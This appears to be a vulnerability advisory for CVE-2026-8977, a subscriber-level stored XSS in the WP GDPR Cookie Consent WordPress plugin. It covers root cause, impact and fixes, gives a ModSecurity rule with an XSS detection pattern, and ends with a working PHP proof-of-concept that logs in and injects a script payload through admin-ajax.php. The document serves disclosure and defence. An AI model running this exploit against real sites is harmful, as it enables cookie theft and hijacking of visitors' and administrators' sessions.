Atomic Edge analysis of CVE-2026-8977 (metadata-based):
This vulnerability allows authenticated attackers with subscriber-level access or higher to inject stored cross-site scripting (XSS) via the AJAX action ‘ninja_gdpr_ajax_actions’ in the WP GDPR Cookie Consent plugin version 1.0.0. The CVSS score is 6.4 (Medium), with a network attack vector, low privileges required, and a scope change indicating the injected script can impact other users beyond the attacker.
The root cause, inferred from the CWE-79 classification and vulnerability description, is a combination of missing capability checks (authorization) and missing nonce checks (cross-site request forgery protection) on the handleAjaxCalls() function. The vulnerability also stems from insufficient input sanitization on gdprConfig values and missing output escaping in the generateCSS() function, which echoes stored configuration values directly into a block rendered on wp_head. These inferences are drawn from the pattern of vulnerabilities: the AJAX action lacks both nonce and privilege checks, allowing any authenticated user to call it, and the stored data is not properly sanitized or escaped before being output in CSS context.
Exploitation requires an authenticated WordPress user with at least Subscriber role. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘ninja_gdpr_ajax_actions’ and a gdprConfig parameter containing malicious JavaScript. The payload is stored by the plugin and later rendered unsanitized into a tag on wp_head, executing in the context of any user visiting a page that loads the plugin’s CSS. A typical payload would inject a script tag or event handler within the CSS block, for example by closing the style tag and inserting a element.
Remediation requires adding capability checks (e.g., current_user_can(‘edit_posts’)) and nonce verification to the handleAjaxCalls() function. Additionally, input values from gdprConfig must be sanitized with appropriate WordPress functions such as sanitize_text_field() for text values or wp_kses_post() for allowed HTML. Output escaping in generateCSS() must use esc_attr() for attribute contexts and ensure the CSS content is properly validated to prevent script injection. Since this is a metadata-based analysis, the exact fix must be confirmed from code review.
If exploited, the attacker can inject arbitrary JavaScript that executes in the browser of any site visitor (including administrators) when they load a page with the plugin’s CSS. This can lead to session hijacking, cookie theft, redirection to malicious sites, defacement, or further attacks like admin account creation if the victim is an administrator. The stored XSS affects all users, making it a high-severity risk despite the Medium CVSS score.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8977 (metadata-based)
# Blocks stored XSS via AJAX action ninja_gdpr_ajax_actions with malicious gdprConfig
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261977,phase:2,deny,status:403,msg:'CVE-2026-8977 WP GDPR Cookie Consent AJAX XSS',severity:'CRITICAL',tag:'CVE-2026-8977'"
SecRule ARGS_POST:action "@streq ninja_gdpr_ajax_actions" "chain,id:20261978,phase:2,deny,status:403,msg:'CVE-2026-8977 XSS payload in gdprConfig',severity:'CRITICAL',tag:'CVE-2026-8977'"
SecRule ARGS_POST:gdprConfig "@rx <script|<?php|<%|javascript:|onload=|onerror=" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8977 - WP GDPR Cookie Consent <= 1.0.0 - Authenticated (Subscriber+) Stored XSS
// Configuration
$target_url = 'https://example.com'; // Replace with target WordPress site URL
$username = 'subscriber_user'; // Replace with valid subscriber credentials
$password = 'subscriber_pass'; // Replace with subscriber password
// Payload: Close the style tag and inject a script that steals cookies or redirects
$payload = '</style><script>alert("XSS by Atomic Edge");</script><style>';
// Step 1: Authenticate to get cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEJAR => '/tmp/cve_2026_8977_cookies.txt',
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
// Step 2: Send AJAX request with malicious gdprConfig
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'ninja_gdpr_ajax_actions',
'gdprConfig' => $payload,
// Nonce not required based on CVE description
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_COOKIEFILE => '/tmp/cve_2026_8977_cookies.txt',
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
// Cleanup
curl_close($ch);
unlink('/tmp/cve_2026_8977_cookies.txt');
// Check response (optional)
echo "Exploit completed. Check the target site for injected script execution.n";
echo "Response: " . substr($response, 0, 200) . "n";
